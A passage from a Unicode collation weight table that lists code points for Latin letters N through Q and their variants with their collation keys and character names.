[.1DBD.0020.0014] # MODIFIER LETTER SMALL CAPITAL N -1D3B ; [.1DC1.0020.0002] # MODIFIER LETTER CAPITAL REVERSED N -1D0E ; [.1DC2.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED N -1D70 ; [.1DC3.0020.0002] # LATIN SMALL LETTER N WITH MIDDLE TILDE -0272 ; [.1DC4.0020.0002] # LATIN SMALL LETTER N WITH LEFT HOOK -019D ; [.1DC4.0020.0008] # LATIN CAPITAL LETTER N WITH LEFT HOOK -1DAE ; [.1DC4.0020.0014] # MODIFIER LETTER SMALL N WITH LEFT HOOK -019E ; [.1DC8.0020.0002] # LATIN SMALL LETTER N WITH LONG RIGHT LEG -0220 ; [.1DC8.0020.0008] # LATIN CAPITAL LETTER N WITH LONG RIGHT LEG -A791 ; [.1DCC.0020.0002] # LATIN SMALL LETTER N WITH DESCENDER -A790 ; [.1DCC.0020.0008] # LATIN CAPITAL LETTER N WITH DESCENDER -1D87 ; [.1DCD.0020.0002] # LATIN SMALL LETTER N WITH PALATAL HOOK -0273 ; [.1DCE.0020.0002] # LATIN SMALL LETTER N WITH RETROFLEX HOOK -1DAF ; [.1DCE.0020.0014] # MODIFIER LETTER SMALL N WITH RETROFLEX HOOK -0235 ; [.1DD2.0020.0002] # LATIN SMALL LETTER N WITH CURL -AB3B ; [.1DD6.0020.0002] # LATIN SMALL LETTER N WITH CROSSED-TAIL -A774 ; [.1DD7.0020.0002] # LATIN SMALL LETTER NUM -014B ; [.1DD8.0020.0002] # LATIN SMALL LETTER ENG -014A ; [.1DD8.0020.0008] # LATIN CAPITAL LETTER ENG -1D51 ; [.1DD8.0020.0014] # MODIFIER LETTER SMALL ENG -AB3C ; [.1DDC.0020.0002] # LATIN SMALL LETTER ENG WITH CROSSED-TAIL -006F ; [.1DDD.0020.0002] # LATIN SMALL LETTER O -FF4F ; [.1DDD.0020.0003] # FULLWIDTH LATIN SMALL LETTER O -0366 ; [.1DDD.0020.0004] # COMBINING LATIN SMALL LETTER O -24AA ; [*0317.0020.0004][.1DDD.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER O -2134 ; [.1DDD.0020.0005] # SCRIPT SMALL O -1D428 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD SMALL O -1D45C ; [.1DDD.0020.0005] # MATHEMATICAL ITALIC SMALL O -1D490 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL O -1D4F8 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL O -1D52C ; [.1DDD.0020.0005] # MATHEMATICAL FRAKTUR SMALL O -1D560 ; [.1DDD.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL O -1D594 ; [.1DDD.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL O -1D5C8 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF SMALL O -1D5FC ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL O -1D630 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL O -1D664 ; [.1DDD.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL O -1D698 ; [.1DDD.0020.0005] # MATHEMATICAL MONOSPACE SMALL O -24DE ; [.1DDD.0020.0006] # CIRCLED LATIN SMALL LETTER O -004F ; [.1DDD.0020.0008] # LATIN CAPITAL LETTER O -FF2F ; [.1DDD.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER O -1F11E ; [*0317.0020.0004][.1DDD.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER O -1D40E ; [.1DDD.0020.000B] # MATHEMATICAL BOLD CAPITAL O -1D442 ; [.1DDD.0020.000B] # MATHEMATICAL ITALIC CAPITAL O -1D476 ; [.1DDD.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL O -1D4AA ; [.1DDD.0020.000B] # MATHEMATICAL SCRIPT CAPITAL O -1D4DE ; [.1DDD.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL O -1D512 ; [.1DDD.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL O -1D546 ; [.1DDD.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL O -1D57A ; [.1DDD.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL O -1D5AE ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL O -1D5E2 ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL O -1D616 ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL O -1D64A ; [.1DDD.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL O -1D67E ; [.1DDD.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL O -24C4 ; [.1DDD.0020.000C] # CIRCLED LATIN CAPITAL LETTER O -1F15E ; [.1DDD.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER O -00BA ; [.1DDD.0020.0014] # MASCULINE ORDINAL INDICATOR -1D52 ; [.1DDD.0020.0014] # MODIFIER LETTER SMALL O -2092 ; [.1DDD.0020.0015] # LATIN SUBSCRIPT SMALL LETTER O -1D3C ; [.1DDD.0020.001D] # MODIFIER LETTER CAPITAL O -1F13E ; [.1DDD.0020.001D] # SQUARED LATIN CAPITAL LETTER O -1F17E ; [.1DDD.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER O -00F3 ; [.1DDD.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH ACUTE -00D3 ; [.1DDD.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH ACUTE -00F2 ; [.1DDD.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH GRAVE -00D2 ; [.1DDD.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH GRAVE -014F ; [.1DDD.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER O WITH BREVE -014E ; [.1DDD.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER O WITH BREVE -00F4 ; [.1DDD.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX -00D4 ; [.1DDD.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX -1ED1 ; [.1DDD.0020.0002][.0000.0027.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED0 ; [.1DDD.0020.0008][.0000.0027.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND ACUTE -1ED3 ; [.1DDD.0020.0002][.0000.0027.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED2 ; [.1DDD.0020.0008][.0000.0027.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND GRAVE -1ED7 ; [.1DDD.0020.0002][.0000.0027.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND TILDE -1ED6 ; [.1DDD.0020.0008][.0000.0027.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND TILDE -1ED5 ; [.1DDD.0020.0002][.0000.0027.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -1ED4 ; [.1DDD.0020.0008][.0000.0027.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND HOOK ABOVE -01D2 ; [.1DDD.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER O WITH CARON -01D1 ; [.1DDD.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER O WITH CARON -00F6 ; [.1DDD.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH DIAERESIS -1DF3 ; [.1DDD.0020.0004][.0000.002B.0004] # COMBINING LATIN SMALL LETTER O WITH DIAERESIS -A79D ; [.1DDD.0020.0004][.0000.002B.0004] # LATIN SMALL LETTER VOLAPUK OE -00D6 ; [.1DDD.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS -A79C ; [.1DDD.0020.000A][.0000.002B.0004] # LATIN CAPITAL LETTER VOLAPUK OE -022B ; [.1DDD.0020.0002][.0000.002B.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DIAERESIS AND MACRON -022A ; [.1DDD.0020.0008][.0000.002B.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DIAERESIS AND MACRON -0151 ; [.1DDD.0020.0002][.0000.002C.0002] # LATIN SMALL LETTER O WITH DOUBLE ACUTE -0150 ; [.1DDD.0020.0008][.0000.002C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE ACUTE -00F5 ; [.1DDD.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH TILDE -00D5 ; [.1DDD.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH TILDE -1E4D ; [.1DDD.0020.0002][.0000.002D.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH TILDE AND ACUTE -1E4C ; [.1DDD.0020.0008][.0000.002D.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH TILDE AND ACUTE -1E4F ; [.1DDD.0020.0002][.0000.002D.0002][.0000.002B.0002] # LATIN SMALL LETTER O WITH TILDE AND DIAERESIS -1E4E ; [.1DDD.0020.0008][.0000.002D.0002][.0000.002B.0002] # LATIN CAPITAL LETTER O WITH TILDE AND DIAERESIS -022D ; [.1DDD.0020.0002][.0000.002D.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH TILDE AND MACRON -022C ; [.1DDD.0020.0008][.0000.002D.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH TILDE AND MACRON -022F ; [.1DDD.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER O WITH DOT ABOVE -022E ; [.1DDD.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE -0231 ; [.1DDD.0020.0002][.0000.002E.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH DOT ABOVE AND MACRON -0230 ; [.1DDD.0020.0008][.0000.002E.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH DOT ABOVE AND MACRON -00F8 ; [.1DDD.0020.0002][.0000.002F.0002] # LATIN SMALL LETTER O WITH STROKE -00D8 ; [.1DDD.0020.0008][.0000.002F.0002] # LATIN CAPITAL LETTER O WITH STROKE -01FF ; [.1DDD.0020.0002][.0000.002F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH STROKE AND ACUTE -01FE ; [.1DDD.0020.0008][.0000.002F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH STROKE AND ACUTE -01EB ; [.1DDD.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER O WITH OGONEK -01EA ; [.1DDD.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER O WITH OGONEK -01ED ; [.1DDD.0020.0002][.0000.0031.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH OGONEK AND MACRON -01EC ; [.1DDD.0020.0008][.0000.0031.0002][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH OGONEK AND MACRON -014D ; [.1DDD.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER O WITH MACRON -014C ; [.1DDD.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER O WITH MACRON -1E53 ; [.1DDD.0020.0002][.0000.0032.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH MACRON AND ACUTE -1E52 ; [.1DDD.0020.0008][.0000.0032.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH MACRON AND ACUTE -1E51 ; [.1DDD.0020.0002][.0000.0032.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH MACRON AND GRAVE -1E50 ; [.1DDD.0020.0008][.0000.0032.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH MACRON AND GRAVE -1DED ; [.1DDD.0020.0004][.0000.0034.0004] # COMBINING LATIN SMALL LETTER O WITH LIGHT CENTRALIZATION STROKE -1ECF ; [.1DDD.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HOOK ABOVE -1ECE ; [.1DDD.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HOOK ABOVE -020D ; [.1DDD.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER O WITH DOUBLE GRAVE -020C ; [.1DDD.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER O WITH DOUBLE GRAVE -020F ; [.1DDD.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER O WITH INVERTED BREVE -020E ; [.1DDD.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER O WITH INVERTED BREVE -01A1 ; [.1DDD.0020.0002][.0000.003F.0002] # LATIN SMALL LETTER O WITH HORN -01A0 ; [.1DDD.0020.0008][.0000.003F.0002] # LATIN CAPITAL LETTER O WITH HORN -1EDB ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0024.0002] # LATIN SMALL LETTER O WITH HORN AND ACUTE -1EDA ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0024.0002] # LATIN CAPITAL LETTER O WITH HORN AND ACUTE -1EDD ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0025.0002] # LATIN SMALL LETTER O WITH HORN AND GRAVE -1EDC ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0025.0002] # LATIN CAPITAL LETTER O WITH HORN AND GRAVE -1EE1 ; [.1DDD.0020.0002][.0000.003F.0002][.0000.002D.0002] # LATIN SMALL LETTER O WITH HORN AND TILDE -1EE0 ; [.1DDD.0020.0008][.0000.003F.0002][.0000.002D.0002] # LATIN CAPITAL LETTER O WITH HORN AND TILDE -1EDF ; [.1DDD.0020.0002][.0000.003F.0002][.0000.003B.0002] # LATIN SMALL LETTER O WITH HORN AND HOOK ABOVE -1EDE ; [.1DDD.0020.0008][.0000.003F.0002][.0000.003B.0002] # LATIN CAPITAL LETTER O WITH HORN AND HOOK ABOVE -1EE3 ; [.1DDD.0020.0002][.0000.003F.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH HORN AND DOT BELOW -1EE2 ; [.1DDD.0020.0008][.0000.003F.0002][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH HORN AND DOT BELOW -1ECD ; [.1DDD.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER O WITH DOT BELOW -1ECC ; [.1DDD.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER O WITH DOT BELOW -1ED9 ; [.1DDD.0020.0002][.0000.0042.0002][.0000.0027.0002] # LATIN SMALL LETTER O WITH CIRCUMFLEX AND DOT BELOW -1ED8 ; [.1DDD.0020.0008][.0000.0042.0002][.0000.0027.0002] # LATIN CAPITAL LETTER O WITH CIRCUMFLEX AND DOT BELOW -0153 ; [.1DDD.0020.0004][.0000.0110.0004][.1CAA.0020.0004] # LATIN SMALL LIGATURE OE -0152 ; [.1DDD.0020.000A][.0000.0110.0004][.1CAA.0020.000A] # LATIN CAPITAL LIGATURE OE -A7F9 ; [.1DDD.0020.0014][.0000.0110.0014][.1CAA.0020.0014] # MODIFIER LETTER SMALL LIGATURE OE -1F197 ; [.1DDD.0020.001D][.1D65.0020.001D] # SQUARED OK -A74F ; [.1DDD.0020.0004][.1DDD.0020.0004] # LATIN SMALL LETTER OO -A74E ; [.1DDD.0020.000A][.1DDD.0020.000A] # LATIN CAPITAL LETTER OO -3375 ; [.1DDD.0020.001C][.1EE3.0020.001D] # SQUARE OV -1D0F ; [.1DE1.0020.0002] # LATIN LETTER SMALL CAPITAL O -1D11 ; [.1DE2.0020.0002] # LATIN SMALL LETTER SIDEWAYS O -AB3D ; [.1DE3.0020.0002] # LATIN SMALL LETTER BLACKLETTER O -0276 ; [.1DE4.0020.0002] # LATIN LETTER SMALL CAPITAL OE -1D14 ; [.1DE8.0020.0002] # LATIN SMALL LETTER TURNED OE -AB41 ; [.1DE9.0020.0002] # LATIN SMALL LETTER TURNED OE WITH STROKE -AB42 ; [.1DEA.0020.0002] # LATIN SMALL LETTER TURNED OE WITH HORIZONTAL STROKE -AB40 ; [.1DEB.0020.0002] # LATIN SMALL LETTER INVERTED OE -AB43 ; [.1DEC.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O -AB44 ; [.1DED.0020.0002] # LATIN SMALL LETTER TURNED O OPEN-O WITH STROKE -1D13 ; [.1DEE.0020.0002] # LATIN SMALL LETTER SIDEWAYS O WITH STROKE -AB3E ; [.1DEF.0020.0002] # LATIN SMALL LETTER BLACKLETTER O WITH STROKE -0254 ; [.1DF0.0020.0002] # LATIN SMALL LETTER OPEN O -0186 ; [.1DF0.0020.0008] # LATIN CAPITAL LETTER OPEN O -1D53 ; [.1DF0.0020.0014] # MODIFIER LETTER SMALL OPEN O -1D10 ; [.1DF4.0020.0002] # LATIN LETTER SMALL CAPITAL OPEN O -1D12 ; [.1DF5.0020.0002] # LATIN SMALL LETTER SIDEWAYS OPEN O -AB3F ; [.1DF6.0020.0002] # LATIN SMALL LETTER OPEN O WITH STROKE -1D97 ; [.1DF7.0020.0002] # LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK -AB62 ; [.1DF8.0020.0002] # LATIN SMALL LETTER OPEN OE -A74D ; [.1DF9.0020.0002] # LATIN SMALL LETTER O WITH LOOP -A74C ; [.1DF9.0020.0008] # LATIN CAPITAL LETTER O WITH LOOP -1D16 ; [.1DFA.0020.0002] # LATIN SMALL LETTER TOP HALF O -1D54 ; [.1DFA.0020.0014] # MODIFIER LETTER SMALL TOP HALF O -1D17 ; [.1DFB.0020.0002] # LATIN SMALL LETTER BOTTOM HALF O -1D55 ; [.1DFB.0020.0014] # MODIFIER LETTER SMALL BOTTOM HALF O -2C7A ; [.1DFC.0020.0002] # LATIN SMALL LETTER O WITH LOW RING INSIDE -0275 ; [.1DFD.0020.0002] # LATIN SMALL LETTER BARRED O -019F ; [.1DFD.0020.0008] # LATIN CAPITAL LETTER O WITH MIDDLE TILDE -1DB1 ; [.1DFD.0020.0014] # MODIFIER LETTER SMALL BARRED O -A74B ; [.1E01.0020.0002] # LATIN SMALL LETTER O WITH LONG STROKE OVERLAY -A74A ; [.1E01.0020.0008] # LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY -0277 ; [.1E02.0020.0002] # LATIN SMALL LETTER CLOSED OMEGA -A7B7 ; [.1E06.0020.0002] # LATIN SMALL LETTER OMEGA -A7B6 ; [.1E06.0020.0008] # LATIN CAPITAL LETTER OMEGA -0223 ; [.1E07.0020.0002] # LATIN SMALL LETTER OU -0222 ; [.1E07.0020.0008] # LATIN CAPITAL LETTER OU -1D3D ; [.1E07.0020.001D] # MODIFIER LETTER CAPITAL OU -1D15 ; [.1E0B.0020.0002] # LATIN LETTER SMALL CAPITAL OU -0070 ; [.1E0C.0020.0002] # LATIN SMALL LETTER P -FF50 ; [.1E0C.0020.0003] # FULLWIDTH LATIN SMALL LETTER P -1DEE ; [.1E0C.0020.0004] # COMBINING LATIN SMALL LETTER P -24AB ; [*0317.0020.0004][.1E0C.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER P -1D429 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD SMALL P -1D45D ; [.1E0C.0020.0005] # MATHEMATICAL ITALIC SMALL P -1D491 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL P -1D4C5 ; [.1E0C.0020.0005] # MATHEMATICAL SCRIPT SMALL P -1D4F9 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL P -1D52D ; [.1E0C.0020.0005] # MATHEMATICAL FRAKTUR SMALL P -1D561 ; [.1E0C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL P -1D595 ; [.1E0C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL P -1D5C9 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL P -1D5FD ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL P -1D631 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL P -1D665 ; [.1E0C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL P -1D699 ; [.1E0C.0020.0005] # MATHEMATICAL MONOSPACE SMALL P -24DF ; [.1E0C.0020.0006] # CIRCLED LATIN SMALL LETTER P -0050 ; [.1E0C.0020.0008] # LATIN CAPITAL LETTER P -FF30 ; [.1E0C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER P -1F11F ; [*0317.0020.0004][.1E0C.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER P -2119 ; [.1E0C.0020.000B] # DOUBLE-STRUCK CAPITAL P -1D40F ; [.1E0C.0020.000B] # MATHEMATICAL BOLD CAPITAL P -1D443 ; [.1E0C.0020.000B] # MATHEMATICAL ITALIC CAPITAL P -1D477 ; [.1E0C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL P -1D4AB ; [.1E0C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL P -1D4DF ; [.1E0C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL P -1D513 ; [.1E0C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL P -1D57B ; [.1E0C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL P -1D5AF ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL P -1D5E3 ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL P -1D617 ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL P -1D64B ; [.1E0C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL P -1D67F ; [.1E0C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL P -24C5 ; [.1E0C.0020.000C] # CIRCLED LATIN CAPITAL LETTER P -1F15F ; [.1E0C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER P -1D56 ; [.1E0C.0020.0014] # MODIFIER LETTER SMALL P -209A ; [.1E0C.0020.0015] # LATIN SUBSCRIPT SMALL LETTER P -1D3E ; [.1E0C.0020.001D] # MODIFIER LETTER CAPITAL P -1F13F ; [.1E0C.0020.001D] # SQUARED LATIN CAPITAL LETTER P -1F17F ; [.1E0C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER P -1F18A ; [.1E0C.0020.001D] # CROSSED NEGATIVE SQUARED LATIN CAPITAL LETTER P -1E55 ; [.1E0C.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER P WITH ACUTE -1E54 ; [.1E0C.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER P WITH ACUTE -1E57 ; [.1E0C.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER P WITH DOT ABOVE -1E56 ; [.1E0C.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER P WITH DOT ABOVE -3380 ; [.1E0C.0020.001C][.1C47.0020.001D] # SQUARE PA AMPS -33A9 ; [.1E0C.0020.001D][.1C47.0020.001C] # SQUARE PA -1F18C ; [.1E0C.0020.001D][.1C47.0020.001D] # NEGATIVE SQUARED PA -3376 ; [.1E0C.0020.001C][.1C7A.0020.001C] # SQUARE PC -338A ; [.1E0C.0020.001C][.1CE5.0020.001D] # SQUARE PF -33D7 ; [.1E0C.0020.001D][.1D18.0020.001D] # SQUARE PH -33D8 ; [.1E0C.0020.001C][*0277.0020.001C][.1DAA.0020.001C][*0277.0020.001C] # SQUARE PM -33D9 ; [.1E0C.0020.001D][.1E0C.0020.001D][.1DAA.0020.001D] # SQUARE PPM -1F14E ; [.1E0C.0020.001D][.1E0C.0020.001D][.1EE3.0020.001D] # SQUARED PPV -33DA ; [.1E0C.0020.001D][.1E33.0020.001D] # SQUARE PR -33B0 ; [.1E0C.0020.001C][.1E71.0020.001C] # SQUARE PS -3250 ; [.1E0C.0020.001D][.1E95.0020.001D][.1CAA.0020.001D] # PARTNERSHIP SIGN -33B4 ; [.1E0C.0020.001C][.1EE3.0020.001D] # SQUARE PV -33BA ; [.1E0C.0020.001C][.1EF5.0020.001D] # SQUARE PW -1D18 ; [.1E10.0020.0002] # LATIN LETTER SMALL CAPITAL P -1D7D ; [.1E11.0020.0002] # LATIN SMALL LETTER P WITH STROKE -2C63 ; [.1E11.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE -A751 ; [.1E12.0020.0002] # LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER -A750 ; [.1E12.0020.0008] # LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER -1D71 ; [.1E13.0020.0002] # LATIN SMALL LETTER P WITH MIDDLE TILDE -1D88 ; [.1E14.0020.0002] # LATIN SMALL LETTER P WITH PALATAL HOOK -01A5 ; [.1E15.0020.0002] # LATIN SMALL LETTER P WITH HOOK -01A4 ; [.1E15.0020.0008] # LATIN CAPITAL LETTER P WITH HOOK -A753 ; [.1E19.0020.0002] # LATIN SMALL LETTER P WITH FLOURISH -A752 ; [.1E19.0020.0008] # LATIN CAPITAL LETTER P WITH FLOURISH -A755 ; [.1E1A.0020.0002] # LATIN SMALL LETTER P WITH SQUIRREL TAIL -A754 ; [.1E1A.0020.0008] # LATIN CAPITAL LETTER P WITH SQUIRREL TAIL -A7FC ; [.1E1B.0020.0002] # LATIN EPIGRAPHIC LETTER REVERSED P -0278 ; [.1E1C.0020.0002] # LATIN SMALL LETTER PHI -1DB2 ; [.1E1C.0020.0014] # MODIFIER LETTER SMALL PHI -2C77 ; [.1E20.0020.0002] # LATIN SMALL LETTER TAILLESS PHI -0071 ; [.1E21.0020.0002] # LATIN SMALL LETTER Q -FF51 ; [.1E21.0020.0003] # FULLWIDTH LATIN SMALL LETTER Q -24AC ; [*0317.0020.0004][.1E21.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Q -1D42A ; [.1E21.0020.0005] # MATHEMATICAL BOLD SMALL Q -1D45E ; [.1E21.0020.0005] # MATHEMATICAL ITALIC SMALL Q -1D492 ; [.1E21.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Q -1D4C6 ; [.1E21.0020.0005] # MATHEMATICAL SCRIPT SMALL Q -1D4FA ; [.1E21.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Q -1D52E ; [.1E21.0020.0005] # MATHEMATICAL FRAKTUR SMALL Q -1D562 ; [.1E21.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Q -1D596 ; [.1E21.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Q -1D5CA ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Q -1D5FE ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Q -1D632 ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Q -1D666 ; [.1E21.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Q -1D69A ; [.1E21.0020.0005] # MATHEMATICAL MONOSPACE SMALL Q -24E0 ; [.1E21.0020.0006] # CIRCLED LATIN SMALL LETTER Q -0051 ; [.1E21.0020.0008] # LATIN CAPITAL LETTER Q -FF31 ; [.1E21.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Q -1F120 ; [*0317.0020.0004][.1E21.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Q -211A ; [.1E21.0020.000B] # DOUBLE-STRUCK CAPITAL Q -1D410 ; [.1E21.0020.000B] # MATHEMATICAL BOLD CAPITAL Q -1D444 ; [.1E21.0020.000B] # MATHEMATICAL ITALIC CAPITAL Q -1D478 ; [.1E21.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Q -1D4AC ; [.1E21.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Q -1D4E0 ; [.1E21.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Q -1D514 ; [.1E21.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Q -1D57C ; [.1E21.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Q -1D5B0 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Q -1D5E4 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Q -1D618 ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Q -1D64C ; [.1E21.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Q -1D680 ; [.1E21.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Q -24C6 ; [.1E21.0020.000C] # CIRCLED LATIN CAPITAL LETTER Q -1F160 ; [.1E21.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Q -1F140 ; [.1E21.0020.001D] # SQUARED LATIN CAPITAL LETTER Q -1F180 ; [.1E21.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Q -0239 ; [.1E21.0020.0004][.1E0C.0020.0004] # LATIN SMALL LETTER QP DIGRAPH -A757 ; [.1E25.0020.0002] # LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER -A756 ; [.1E25.0020.0008] # LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER -A759 ; [.1E26.0020.0002] # LATIN SMALL LETTER Q WITH DIAGONAL STROKE -A758 ; [.1E26.0020.0008] # LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE -02A0 ; [.1E27.0020.0002] # LATIN SMALL LETTER Q WITH HOOK -024B 